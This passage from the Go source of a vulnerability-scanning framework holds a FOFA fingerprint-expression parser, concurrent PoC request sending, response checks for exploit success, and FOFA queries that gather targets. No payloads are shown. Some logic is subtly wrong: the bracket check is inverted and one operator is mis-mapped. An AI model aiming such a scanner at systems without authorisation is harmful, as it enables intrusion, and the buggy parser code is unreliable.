| bodyArrayByBool[bodyCounter] = false 148 | } 149 | bodyCounter++ 150 | } else { 151 | if !strings.Contains(resp.Body, strings.ReplaceAll(condition.Value, "\\", "")) { 152 | bodyArrayByBool[bodyCounter] = true 153 | } else { 154 | bodyArrayByBool[bodyCounter] = false 155 | } 156 | bodyCounter++ 157 | } 158 | break 159 | case "header": 160 | if !strings.Contains(condition.Operator, "!") { 161 | headerArrayByBool[headerCounter] = false 162 | if strings.Contains(headerValuesList, strings.ReplaceAll(condition.Value, "\\", "")) { 163 | headerArrayByBool[headerCounter] = true 164 | } 165 | headerCounter++ 166 | } else { 167 | headerArrayByBool[headerCounter] = false 168 | if !strings.Contains(headerValuesList, strings.ReplaceAll(condition.Value, "\\", "")) { 169 | headerArrayByBool[headerCounter] = true 170 | } 171 | headerCounter++ 172 | } 173 | } 174 | } 175 | reversePolishNotationByStr := reversePolishNotation(transformed) // 获取逆波兰语句 176 | if evaluatePostfix(reversePolishNotationByStr, bodyArrayByBool, headerArrayByBool) { // 根据逆波兰语句来计算返回整个表达式的逻辑运算结果 177 | fingerprintList += " " + fingerprint.Product 178 | isHaveFingerprint = true 179 | continue 180 | } 181 | } 182 | if isHaveFingerprint { 183 | Log.Log.Println(fmt.Sprintf("[+] url: %s 匹配到的指纹为: %s", hostInfo, fingerprintList)) 184 | return true 185 | } 186 | } else { // 代码重复,但是是故意的,为了性能优化,因此不写成一个方法 187 | transformed, keyOperatorValue := convertLogicalExpression(pocStruct.Fofa) // 精简化语句,方便进行逆波兰运算 188 | bodyArray, headerArray, bodyCounter, headerCounter = getKeyOperatorValue(keyOperatorValue) // 获取所有的键值对以及算数运算符 189 | bodyArrayByBool := make([]bool, bodyCounter) 190 | headerArrayByBool := make([]bool, headerCounter) 191 | bodyCounter = 0 192 | headerCounter = 0 193 | 194 | if len(bodyArray) == 0 && len(headerArray) == 0 { 195 | return false 196 | } 197 | // 检测是否存在 app 语法, 有则直接返回 false 198 | for _, condition := range keyOperatorValue { 199 | if strings.ToLower(condition.Key) == "app" || strings.ToLower(condition.Key) == "product" { 200 | Log.Log.Fatal("[-] 由于你开启了探测模式(不借助fofa进行页面规则的扫描),因此app/product语法不能使用! 这种语法本质上由一堆基本语法所构成的,存在fofa服务器中") 201 | } 202 | } 203 | 204 | if strings.Contains(pocStruct.Fofa, "header") { 205 | headerValuesList = resp.Proto + " " + resp.Status + "\n" 206 | for key, values := range resp.Header { 207 | headerValuesList = headerValuesList + key + ": " 208 | for _, value := range values { 209 | headerValuesList = headerValuesList + value + "\n" 210 | } 211 | } 212 | } 213 | 214 | // 扫一遍,得知每个表达式是true还是false 215 | for _, condition := range keyOperatorValue { 216 | if condition.Value == "" { 217 | continue 218 | } 219 | switch strings.ToLower(condition.Key) { 220 | case "body": 221 | if !strings.Contains(condition.Operator, "!") { 222 | if strings.Contains(resp.Body, strings.ReplaceAll(condition.Value, "\\", "")) { 223 | bodyArrayByBool[bodyCounter] = true 224 | } else { 225 | bodyArrayByBool[bodyCounter] = false 226 | } 227 | bodyCounter++ 228 | } else { 229 | if !strings.Contains(resp.Body, strings.ReplaceAll(condition.Value, "\\", "")) { 230 | bodyArrayByBool[bodyCounter] = true 231 | } else { 232 | bodyArrayByBool[bodyCounter] = false 233 | } 234 | bodyCounter++ 235 | } 236 | break 237 | case "header": 238 | if !strings.Contains(condition.Operator, "!") { 239 | headerArrayByBool[headerCounter] = false 240 | if strings.Contains(headerValuesList, strings.ReplaceAll(condition.Value, "\\", "")) { 241 | headerArrayByBool[headerCounter] = true 242 | } 243 | headerCounter++ 244 | } else { 245 | headerArrayByBool[headerCounter] = false 246 | if !strings.Contains(headerValuesList, strings.ReplaceAll(condition.Value, "\\", "")) { 247 | headerArrayByBool[headerCounter] = true 248 | } 249 | headerCounter++ 250 | } 251 | } 252 | } 253 | reversePolishNotationByStr := reversePolishNotation(transformed) // 获取逆波兰语句 254 | 255 | if evaluatePostfix(reversePolishNotationByStr, bodyArrayByBool, headerArrayByBool) { // 根据逆波兰语句来计算返回整个表达式的逻辑运算结果 256 | Log.Log.Println(fmt.Sprintf("[+] url: %s 匹配到的指纹为: %s", hostInfo, pocStruct.Fofa)) 257 | return true 258 | } 259 | } 260 | return false 261 | } 262 | 263 | func IsExploitSuccessByCode(pocOrExp, hostInfo string, pocStruct Format.PocStruct) bool { 264 | if IsDetectionModeByBool && !IsDetectionMode(hostInfo, pocStruct) { 265 | return false 266 | } 267 | 268 | if pocOrExp != "poc" { 269 | var expResult Format.ExpResult 270 | expResult.HostInfo = hostInfo 271 | expResult.Success = false 272 | expResult.Output = "" 273 | expResult = User.Exp(expResult) 274 | if expResult.Success { 275 | Log.Log.Println(expResult.Output) 276 | return true 277 | } 278 | return false 279 | } 280 | return User.Poc(hostInfo) 281 | } 282 | -------------------------------------------------------------------------------- /main/Developer/Core/CoreForSendByJson.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | Format "GoPoc/main/Developer/AllFormat" 5 | handle2 "GoPoc/main/Developer/Handle" 6 | "GoPoc/main/Developer/HttpAbout" 7 | "GoPoc/main/Log" 8 | "bytes" 9 | "context" 10 | "net/http" 11 | "net/url" 12 | "strings" 13 | "sync" 14 | "time" 15 | ) 16 | 17 | func ForSendByJson(urlsList []string, pocStruct Format.PocStruct) { 18 | client := HttpAbout.SetProxy(HttpAbout.InputProxy, false) 19 | customRequestBody := []byte(pocStruct.RequestPackage.Body) 20 | waitGroup := &sync.WaitGroup{} 21 | 22 | // 计算要划分的小的urlsList数量 23 | numThreads := MaxConcurrentLevelInt 24 | if numThreads > len(urlsList) { 25 | numThreads = len(urlsList) 26 | } 27 | urlsPerThread := len(urlsList) / numThreads 28 | for i := 0; i < numThreads; i++ { 29 | start := i * urlsPerThread 30 | end := start + urlsPerThread 31 | if i == numThreads-1 { 32 | end = len(urlsList) 33 | } 34 | 35 | subURLsList := urlsList[start:end] 36 | waitGroup.Add(1) 37 | go func(subURLs []string) { 38 | defer func() { 39 | waitGroup.Add(-1) 40 | }() 41 | 42 | for _, tmpUrl := range subURLs { 43 | allRequestPath := handle2.TraversePath(pocStruct.RequestPackage, tmpUrl) 44 | requestCount := len(allRequestPath) 45 | 46 | for tmpI := 0; tmpI < requestCount; tmpI++ { 47 | tmpUrlForAllRequestPath := allRequestPath[tmpI] 48 | parsedURL, err := url.Parse(tmpUrlForAllRequestPath) 49 | if err != nil { 50 | continue 51 | } 52 | // Create an HTTP.Request object 53 | procedureRequest, err := http.NewRequest(pocStruct.RequestPackage.Method, tmpUrlForAllRequestPath, bytes.NewBuffer(customRequestBody)) 54 | if err != nil { 55 | continue 56 | } 57 | // Set a timeout for the request 58 | ctx, cancel := context.WithTimeout(context.Background(), time.Second*5) 59 | handle2.ProcessPackagesForJson(procedureRequest, pocStruct) 60 | procedureRequest = procedureRequest.WithContext(ctx) 61 | 62 | // Send request and obtain response results 63 | procedureResponse, err := client.Do(procedureRequest) 64 | if err != nil { 65 | cancel() 66 | continue 67 | } 68 | 69 | if IsExploitSuccessByJson(pocStruct, procedureResponse, customRequestBody) { 70 | if splitURL := strings.Split(tmpUrlForAllRequestPath, "?"); len(splitURL) >= 2 { 71 | params := strings.Split(splitURL[1], "&") 72 | encodedParams := make([]string, len(params)) 73 | for tmpI := range params { 74 | p := strings.Split(params[tmpI], "=") 75 | encodedParams[tmpI] = url.QueryEscape(p[0]) + "=" + url.QueryEscape(p[1]) 76 | } 77 | Log.Log.Println("[+] [ " + parsedURL.Scheme + "://" + parsedURL.Host + "/" + strings.Join(encodedParams, "&") + " ]\tSuccess! The target may have this vulnerability") 78 | } else { 79 | Log.Log.Println("[+] [ " + parsedURL.Scheme + "://" + parsedURL.Host + "/" + " ]\tSuccess! The target may have this vulnerability") 80 | } 81 | } 82 | cancel() 83 | } 84 | 85 | } 86 | }(subURLsList) 87 | } 88 | waitGroup.Wait() 89 | } 90 | -------------------------------------------------------------------------------- /main/Developer/Core/GlobalVar.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | var IsBuiltinFingerprint bool // 探测模式下,是否使用内置指纹进行匹配 4 | var IsDetectionModeByBool bool // 是否开启探测模式 5 | var MaxConcurrentLevelInt int // 协程数 6 | -------------------------------------------------------------------------------- /main/Developer/Core/ParseStatement.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | "strings" 5 | ) 6 | 7 | type Condition struct { 8 | Key string 9 | Operator string 10 | Value string 11 | } 12 | 13 | type Parser struct{} 14 | 15 | // 涉及语法解析器的编写,较难 16 | 17 | // convertLogicalExpression 精简化语句,方便进行逆波兰运算 思路为重写方法,不使用正则,而是用一个指针从左往右依次进行扫描并处理 18 | func convertLogicalExpression(expr string) (string, []Condition) { // todo 存在隐形bug: protocol=icmp && banner=icmp_166 无法解析,因为这个指纹非正常预期 19 | var keyOperatorValue []Condition 20 | isDoubleQuotationMarkClosure := false 21 | isBreak := false 22 | var transformedExpr string 23 | tempValueStr := "" 24 | var stack []rune 25 | runesForExpr := []rune(expr) 26 | for index := 0; index < len(runesForExpr); index++ { 27 | if isDoubleQuotationMarkClosure { // 如果进入了",则 keyOperatorValue 开始记录 28 | tempValueStr = tempValueStr + string(runesForExpr[index]) 29 | } 30 | isBreak = false 31 | if index != 0 && runesForExpr[index-1] != '\\' && runesForExpr[index] == '"' { 32 | if isDoubleQuotationMarkClosure { 33 | stack = stack[:len(stack)-1] 34 | isDoubleQuotationMarkClosure = false 35 | keyOperatorValue[len(keyOperatorValue)-1].Value = tempValueStr // keyOperatorValue 记录完毕 36 | keyOperatorValue[len(keyOperatorValue)-1].Value = keyOperatorValue[len(keyOperatorValue)-1].Value[:len(keyOperatorValue[len(keyOperatorValue)-1].Value)-1] 37 | tempValueStr = "" 38 | } else { 39 | stack = append(stack, runesForExpr[index]) // 入栈表示进入了"中,transformedExpr 开始不进行记录 40 | isDoubleQuotationMarkClosure = true 41 | } 42 | } 43 | 44 | if len(stack) != 0 || (index+10 > len(runesForExpr)) { 45 | continue 46 | } 47 | switch runesForExpr[index] { 48 | case ' ': 49 | continue 50 | case '(': 51 | transformedExpr = transformedExpr + "(" 52 | isBreak = true 53 | break 54 | case ')': 55 | transformedExpr = transformedExpr + ")" 56 | isBreak = true 57 | break 58 | case '|': 59 | transformedExpr = transformedExpr + "|" 60 | isBreak = true 61 | break 62 | case '&': 63 | transformedExpr = transformedExpr + "&" 64 | isBreak = true 65 | break 66 | } 67 | if !isBreak { 68 | switch { // todo bug, cert/server/protocol/banner 在fofa中被特殊使用,不能直接放在header中,否则指纹会失真 69 | case string(runesForExpr[index:index+5]) == "body=": 70 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "=", Value: ""}) 71 | transformedExpr += "body" 72 | index += 4 73 | break 74 | case string(runesForExpr[index:index+6]) == "body!=": 75 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "!=", Value: ""}) 76 | transformedExpr += "body" 77 | index += 5 78 | break 79 | case string(runesForExpr[index:index+6]) == "title=": 80 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "=", Value: ""}) 81 | transformedExpr += "body" 82 | index += 5 83 | break 84 | case string(runesForExpr[index:index+7]) == "title!=": 85 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "!=", Value: ""}) 86 | transformedExpr += "body" 87 | index += 6 88 | break 89 | case string(runesForExpr[index:index+7]) == "banner=": 90 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "=", Value: ""}) 91 | transformedExpr += "body" 92 | index += 6 93 | break 94 | case string(runesForExpr[index:index+8]) == "banner!=": 95 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "body", Operator: "!=", Value: ""}) 96 | transformedExpr += "body" 97 | index += 7 98 | break 99 | case string(runesForExpr[index:index+7]) == "header=": 100 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "=", Value: ""}) 101 | transformedExpr += "header" 102 | index += 6 103 | break 104 | case string(runesForExpr[index:index+8]) == "header!=": 105 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""}) 106 | transformedExpr += "header" 107 | index += 7 108 | break 109 | case string(runesForExpr[index:index+5]) == "cert=": 110 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "=", Value: ""}) 111 | transformedExpr += "header" 112 | index += 4 113 | break 114 | case string(runesForExpr[index:index+6]) == "cert!=": 115 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""}) 116 | transformedExpr += "header" 117 | index += 5 118 | break 119 | case string(runesForExpr[index:index+9]) == "protocol=": 120 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "=", Value: ""}) 121 | transformedExpr += "header" 122 | index += 8 123 | break 124 | case string(runesForExpr[index:index+10]) == "protocol!=": 125 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""}) 126 | transformedExpr += "header" 127 | index += 9 128 | break 129 | case string(runesForExpr[index:index+7]) == "server=": 130 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "=", Value: ""}) 131 | transformedExpr += "header" 132 | index += 6 133 | break 134 | case string(runesForExpr[index:index+8]) == "server!=": 135 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""}) 136 | transformedExpr += "header" 137 | index += 7 138 | break 139 | case string(runesForExpr[index:index+5]) == "port=": 140 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""}) 141 | transformedExpr += "header" 142 | index += 4 143 | break 144 | case string(runesForExpr[index:index+6]) == "port!=": 145 | keyOperatorValue = append(keyOperatorValue, Condition{Key: "header", Operator: "!=", Value: ""}) 146 | transformedExpr += "header" 147 | index += 5 148 | break 149 | } 150 | } 151 | } 152 | return transformedExpr, keyOperatorValue 153 | } 154 | 155 | // getKeyOperatorValue 获取所有的键值对以及算数运算符 156 | func getKeyOperatorValue(conditions []Condition) ([]string, []string, int, int) { 157 | var bodyArray []string 158 | var headerArray []string 159 | bodyCounter := 0 160 | headerCounter := 0 161 | 162 | for _, cond := range conditions { 163 | if cond.Key == "body" || cond.Key == "title" || cond.Key == "banner" { 164 | bodyArray = append(bodyArray, cond.Value) 165 | bodyCounter++ 166 | } else if cond.Key == "header" || cond.Key == "cert" || cond.Key == "protocol" || cond.Key == "server" || cond.Key == "port" { // todo bug, port/cert/server/protocol/banner 在fofa中被特殊使用,不能直接放在header中,否则指纹会失真 167 | headerArray = append(headerArray, cond.Value) 168 | headerCounter++ 169 | } 170 | } 171 | return bodyArray, headerArray, bodyCounter, headerCounter 172 | } 173 | 174 | // CheckBalanced 用于判断括号是否闭合 175 | func CheckBalanced(s string) bool { 176 | // 使用切片作为栈 177 | var stack []rune 178 | 179 | // 创建一个映射,将每个右括号映射到相应的左括号 180 | matchingBrackets := map[rune]rune{ 181 | ')': '(', 182 | '}': '{', 183 | ']': '[', 184 | } 185 | 186 | for _, char := range s { 187 | // 如果是左括号,压入栈 188 | if char == '(' || char == '{' || char == '[' { 189 | stack = append(stack, char) 190 | } else if char == ')' || char == '}' || char == ']' { 191 | // 如果是右括号,检查栈是否为空 192 | if len(stack) == 0 { 193 | return false // 右括号没有对应的左括号 194 | } 195 | // 检查栈顶是否与当前右括号匹配 196 | top := stack[len(stack)-1] 197 | if top != matchingBrackets[char] { 198 | return false // 当前右括号没有对应的左括号 199 | } 200 | // 匹配成功,弹出栈顶元素 201 | stack = stack[:len(stack)-1] 202 | } 203 | } 204 | 205 | // 如果栈为空,表示所有括号均已匹配 206 | return len(stack) != 0 207 | } 208 | 209 | // 计算逆波兰表达式的值 [算法可以优化,但是不想弄] 210 | func evaluatePostfix(expression string, bodyArrayByBool []bool, headerArrayByBool []bool) bool { 211 | var stackByBool []bool // 只记录结果,是 true 还是 false 212 | var originStack []uint8 // 原始栈,记录所有数据 213 | bodyCounter := 0 214 | headerCounter := 0 215 | for i := 0; i < len(expression); i++ { 216 | if expression[i] == 'h' && expression[i+5] == 'r' { // header 217 | stackByBool = append(stackByBool, headerArrayByBool[headerCounter]) 218 | originStack = append(originStack, expression[i]) 219 | i = i + 5 220 | headerCounter++ 221 | } else if expression[i] == 'b' && expression[i+3] == 'y' { // body 222 | stackByBool = append(stackByBool, bodyArrayByBool[bodyCounter]) 223 | originStack = append(originStack, expression[i]) 224 | i = i + 3 225 | bodyCounter++ 226 | } else if expression[i] == '!' && expression[i+1] == '=' { 227 | originStack = append(originStack, expression[i]) 228 | i++ 229 | } else if expression[i] == '(' { 230 | originStack = append(originStack, expression[i]) 231 | } else if expression[i] == ')' { 232 | for index := len(originStack) - 1; index > 0; index-- { 233 | if originStack[index] == '(' { 234 | originStack = originStack[:len(originStack)-1] // 移除栈顶元素 235 | break 236 | } 237 | originStack = originStack[:len(originStack)-1] // 移除栈顶元素 238 | } 239 | } else if expression[i] == '&' { 240 | // 弹出两个操作数进行与运算 241 | if len(stackByBool) < 2 { 242 | return false 243 | //panic("[-] not enough operands") todo 由于技术问题,因此遇到无法解析的指纹直接进行跳过操作 244 | } 245 | b := stackByBool[len(stackByBool)-1] 246 | a := stackByBool[len(stackByBool)-2] 247 | stackByBool = stackByBool[:len(stackByBool)-2] // 弹出两个操作数 248 | stackByBool = append(stackByBool, a && b) // 将结果压入栈 249 | } else if expression[i] == '|' { 250 | // 弹出两个操作数进行或运算 251 | if len(stackByBool) < 2 { 252 | return false 253 | //panic("[-] not enough operands") todo 由于技术问题,遇到无法解析的指纹直接进行跳过操作 254 | } 255 | b := stackByBool[len(stackByBool)-1] 256 | a := stackByBool[len(stackByBool)-2] 257 | stackByBool = stackByBool[:len(stackByBool)-2] // 弹出两个操作数 258 | stackByBool = append(stackByBool, a || b) // 将结果压入栈 259 | } 260 | } 261 | 262 | if len(stackByBool) != 1 { 263 | panic("invalid expression") 264 | } 265 | 266 | return stackByBool[0] 267 | } 268 | 269 | // 获取逆波兰表达式 270 | func reversePolishNotation(expression string) string { 271 | expression = strings.ReplaceAll(expression, " ", "") 272 | polishNotationByStr := "" 273 | var originStack []uint8 // 原始栈,记录所有数据 274 | for i := 0; i < len(expression); i++ { 275 | if expression[i] == 'h' && expression[i+5] == 'r' { // header 276 | polishNotationByStr = polishNotationByStr + "header" 277 | i = i + 5 278 | } else if expression[i] == 'b' && expression[i+3] == 'y' || (expression[i] == 't' && expression[i+4] == 'e') { // body 279 | polishNotationByStr = polishNotationByStr + "body" 280 | i = i + 3 281 | } else if expression[i] == '(' { 282 | originStack = append(originStack, expression[i]) // 所有左括号都要入栈 283 | } else if expression[i] == ')' { // 若是右括号,则栈不断出栈,直到碰到左括号 284 | for index := len(originStack) - 1; index >= 0; index-- { 285 | if originStack[index] == '(' { 286 | originStack = originStack[:len(originStack)-1] // 移除栈顶元素 287 | break 288 | } 289 | polishNotationByStr = polishNotationByStr + string(originStack[len(originStack)-1]) 290 | originStack = originStack[:len(originStack)-1] // 移除栈顶元素 291 | } 292 | } else if expression[i] == '&' && expression[i+1] == '&' { 293 | originStack = append(originStack, expression[i]) // 运算符入栈 294 | i++ 295 | } else if expression[i] == '|' && expression[i+1] == '|' { 296 | originStack = append(originStack, expression[i]) // 运算符入栈 297 | i++ 298 | } 299 | //else { 300 | // Log.Log.Fatal("[-] 你输入的fofa表达式不符合语法,样例: ((body != \"hello\" && header != \"dsd\") && (body!= \"sb\" && header = \"nihao\")) && body!=\"sbb\" || header!=\"ba\"\n") 301 | //} 302 | } 303 | for i := 0; i < len(originStack); i++ { 304 | polishNotationByStr = polishNotationByStr + string(originStack[i]) 305 | } 306 | return polishNotationByStr // 示例中正确的逆波兰表达式为: body header & body header && body header & | 307 | } 308 | -------------------------------------------------------------------------------- /main/Developer/Core/isExploit.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | format2 "GoPoc/main/Developer/AllFormat" 5 | "GoPoc/main/Log" 6 | "fmt" 7 | "io" 8 | "net/http" 9 | "regexp" 10 | "strings" 11 | ) 12 | 13 | func IsExploitSuccessByJson(pocStruct format2.PocStruct, procedureResponse *http.Response, customRequestBody []byte) bool { 14 | var currentGroupIndex = 0 15 | var index = 0 16 | var groupNumIndex []map[int]int 17 | var isExploit []map[string][]bool 18 | for _, currentGroup := range pocStruct.ResponsePackage.Group { 19 | isExploit = append(isExploit, map[string][]bool{ 20 | "flag": {}, 21 | }) 22 | index = 0 23 | NumberOfMembers := 0 24 | bodyOfExecutionResults, err := io.ReadAll(procedureResponse.Body) 25 | if err != nil { 26 | Log.Log.Fatal(err) 27 | } 28 | if currentGroup.Regexp != "" { 29 | NumberOfMembers++ 30 | matchesForRegexp := regexp.MustCompile(currentGroup.Regexp).FindStringSubmatch(string(bodyOfExecutionResults)) 31 | if matchesForRegexp != nil && len(matchesForRegexp) > 1 { 32 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], true) 33 | groupNumIndex = append(groupNumIndex, map[int]int{ 34 | currentGroupIndex: index + 1, 35 | }) 36 | currentGroupIndex++ 37 | continue 38 | } 39 | var headerStringResult string 40 | for headerKey, headerValue := range procedureResponse.Header { 41 | headerStringResult += fmt.Sprintf("%s: %s\r\n", headerKey, headerValue) 42 | } 43 | matchesForRegexp = regexp.MustCompile(currentGroup.Regexp).FindStringSubmatch(headerStringResult) 44 | if matchesForRegexp != nil && len(matchesForRegexp) > 1 { 45 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], true) 46 | } else { 47 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], false) 48 | } 49 | } 50 | if currentGroup.Header != nil { 51 | NumberOfMembers++ 52 | for headerName, headerValue := range currentGroup.Header { 53 | if headerValue == procedureResponse.Header.Get(headerName) || 54 | (headerName == "Status" && strings.Contains(procedureResponse.Status, headerValue.(string))) { 55 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], true) 56 | } else { 57 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], false) 58 | } 59 | } 60 | } 61 | if currentGroup.Body != nil { 62 | NumberOfMembers++ 63 | if len(bodyOfExecutionResults) != 0 { 64 | customRequestBody = bodyOfExecutionResults 65 | } 66 | 67 | index = index + len(pocStruct.ResponsePackage.Group[currentGroupIndex].Body) - 1 68 | isFalseFlag := false 69 | customRequestBodyString := string(customRequestBody) 70 | // 遍历获取 poc.json 中的body,用于验证response是否符合 poc.json 71 | for _, tmpPocBody := range pocStruct.ResponsePackage.Group[currentGroupIndex].Body { 72 | if strings.Contains(customRequestBodyString, tmpPocBody) { 73 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], true) 74 | isFalseFlag = true 75 | continue 76 | } 77 | } 78 | if !isFalseFlag { 79 | isExploit[currentGroupIndex]["flag"] = append(isExploit[currentGroupIndex]["flag"], false) 80 | } 81 | } 82 | if NumberOfMembers == 0 { 83 | Log.Log.Fatal("poc 书写有问题,Group 中的某个为空") 84 | } 85 | groupNumIndex = append(groupNumIndex, map[int]int{ 86 | currentGroupIndex: index + 1, 87 | }) 88 | currentGroupIndex++ 89 | } 90 | 91 | // 依据 逻辑符号(or/and)来判断是否验证成功 92 | currentGroupIndex = currentGroupIndex - 1 93 | var isConform = true 94 | if strings.ToLower(pocStruct.ResponsePackage.Operation) == "and" { 95 | for index := 0; index <= currentGroupIndex && isConform; index++ { 96 | for j := 0; j <= groupNumIndex[index][index]; j++ { 97 | if !isExploit[index]["flag"][j] { 98 | isConform = false 99 | break 100 | } 101 | } 102 | } 103 | } else { 104 | allGroupFlagList := make([]bool, currentGroupIndex+1) 105 | for index := 0; index <= currentGroupIndex; index++ { 106 | currentGroupFlag := true 107 | for j := 0; j < groupNumIndex[index][index]; j++ { 108 | if !isExploit[index]["flag"][j] { 109 | currentGroupFlag = false 110 | break 111 | } 112 | } 113 | allGroupFlagList[index] = currentGroupFlag 114 | } 115 | isConform = false 116 | for _, groupFlag := range allGroupFlagList { 117 | if groupFlag { 118 | isConform = true 119 | break 120 | } 121 | } 122 | } 123 | return isConform 124 | } 125 | -------------------------------------------------------------------------------- /main/Developer/Core/pluginMain.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | "GoPoc/main/Log" 5 | "GoPoc/main/User" 6 | "go/ast" 7 | "go/parser" 8 | "go/token" 9 | "log" 10 | ) 11 | 12 | // LoadPlugin 有代码用代码,无代码用json. 模式1为json格式,模式2为代码格式 13 | func LoadPlugin(pocName string) int { 14 | // 如果 SendPoc 为空,则无代码. 使用json进行测试 15 | astNode, err := parser.ParseFile(token.NewFileSet(), pocName, nil, parser.ParseComments) 16 | if err != nil { 17 | log.Fatal(err) 18 | } 19 | isCodeEmpty := false 20 | funcNum := 0 21 | currentFuncNum := 0 22 | // 计算所有的匿名函数数量 23 | ast.Inspect(astNode, func(n ast.Node) bool { 24 | _, isFuncLit := n.(*ast.FuncLit) 25 | if isFuncLit { 26 | funcNum++ 27 | return false 28 | } 29 | return true 30 | }) 31 | // 如果倒数第二个匿名函数为空则 代码为空 32 | ast.Inspect(astNode, func(n ast.Node) bool { 33 | fn, isFuncLit := n.(*ast.FuncLit) 34 | if isFuncLit { 35 | currentFuncNum++ 36 | if len(fn.Body.List) == 0 && currentFuncNum == (funcNum-1) { 37 | isCodeEmpty = true 38 | } 39 | return false 40 | } 41 | return true 42 | }) 43 | 44 | if !isCodeEmpty && funcNum != 0 { 45 | return 2 46 | } else if User.Json != "" { 47 | return 1 48 | } else { 49 | Log.Log.Fatal("[-] poc文件存在问题,请检查") 50 | } 51 | return 0 52 | } 53 | -------------------------------------------------------------------------------- /main/Developer/Fofa/Fofa.go: -------------------------------------------------------------------------------- 1 | package Fofa 2 | 3 | import ( 4 | "GoPoc/main/Developer/AllFormat" 5 | "bytes" 6 | "encoding/base64" 7 | "fmt" 8 | "os" 9 | "strconv" 10 | "strings" 11 | ) 12 | 13 | func SearchReturnByte(config map[string]string, pocStruct Format.PocStruct, maxFofaSizeInt int) []byte { 14 | fofaClient := NewFofaClient([]byte(config["email"]), []byte(config["key"])) 15 | if fofaClient == nil { 16 | fmt.Printf("fofa 查询失败\n") 17 | os.Exit(1) 18 | } 19 | var ( 20 | query = []byte(nil) 21 | fields = []byte("protocol,host,ip") 22 | lastQueryUrl = []byte(nil) 23 | ) 24 | 25 | query = []byte(pocStruct.Fofa) 26 | lastQueryUrl = []byte(base64.StdEncoding.EncodeToString(query)) 27 | lastQueryUrl = bytes.Join([][]byte{[]byte("https://fofa.info/api/v1/search/all?"), 28 | []byte("email="), fofaClient.Email, 29 | []byte("&key="), fofaClient.Key, 30 | []byte("&qbase64="), lastQueryUrl, 31 | []byte("&fields="), fields, 32 | []byte("&page="), []byte(strconv.Itoa(1)), 33 | []byte("&size="), []byte(strconv.Itoa(maxFofaSizeInt)), 34 | }, []byte("")) 35 | fmt.Printf("%s\n", lastQueryUrl) // fofa 查询语句 36 | content, err := fofaClient.Get(string(lastQueryUrl)) 37 | 38 | if err != nil { 39 | fmt.Printf("%v\n", err.Error()) 40 | os.Exit(1) 41 | } 42 | if strings.Contains(string(content), "查询语法错误") { 43 | fmt.Printf("%s\n", "fofa 查询语法错误") 44 | os.Exit(1) 45 | } 46 | 47 | return content 48 | } 49 | -------------------------------------------------------------------------------- /main/Developer/Fofa/FofaSample.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 The FOFA SDK Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | // Package examples shows how to use fofa sdk 5 | 6 | package Fofa 7 | 8 | import ( 9 | "bytes" 10 | "crypto/tls" 11 | "encoding/base64" 12 | "encoding/json" 13 | "errors" 14 | "fmt" 15 | "github.com/buger/jsonparser" 16 | "io/ioutil" 17 | "log" 18 | "net/http" 19 | "os" 20 | "strconv" 21 | "strings" 22 | ) 23 | 24 | type QueryResponse struct { 25 | Error bool `json:"error"` 26 | ConsumedFPoint int `json:"consumed_fpoint"` 27 | RequiredFPoints int `json:"required_fpoints"` 28 | Size int `json:"size"` 29 | Page int `json:"page"` 30 | Mode string `json:"mode"` 31 | Query string `json:"query"` 32 | Results [][]interface{} `json:"results"` 33 | } 34 | 35 | // Fofa a fofa client can be used to make queries 36 | type Fofa struct { 37 | Email []byte 38 | Key []byte 39 | *http.Client 40 | } 41 | 42 | // Result represents a record of the query results 43 | // contain domain host ip port title country city 44 | type result struct { 45 | Domain string `json:"domain,omitempty"` 46 | Host string `json:"host,omitempty"` 47 | IP string `json:"ip,omitempty"` 48 | Port string `json:"port,omitempty"` 49 | Title string `json:"title,omitempty"` 50 | Country string `json:"country,omitempty"` 51 | City string `json:"city,omitempty"` 52 | } 53 | 54 | // User struct for fofa user 55 | type User struct { 56 | Email string `json:"email,omitempty"` 57 | Fcoin int `json:"fcoin,omitempty"` 58 | Vip bool `json:"bool,omitempty"` 59 | Avatar string `json:"avatar,omitempty"` 60 | Err string `json:"errmsg,omitempty"` 61 | } 62 | 63 | // Results fofa result set 64 | type Results []result 65 | 66 | const ( 67 | defaultAPIUrl = "https://fofa.info/api/v1/search/all?" 68 | ) 69 | 70 | var ( 71 | errFofaReplyWrongFormat = errors.New("Fofa Reply With Wrong Format") 72 | errFofaReplyNoData = errors.New("No Data In Fofa Reply") 73 | ) 74 | 75 | // Query fofa sdk functions included 76 | func Query(email, key, fofaQuery string, page uint) []byte { 77 | clt := NewFofaClient([]byte(email), []byte(key)) 78 | if clt == nil { 79 | fmt.Printf("fofa query error!\n") 80 | os.Exit(1) 81 | } 82 | ret, err := 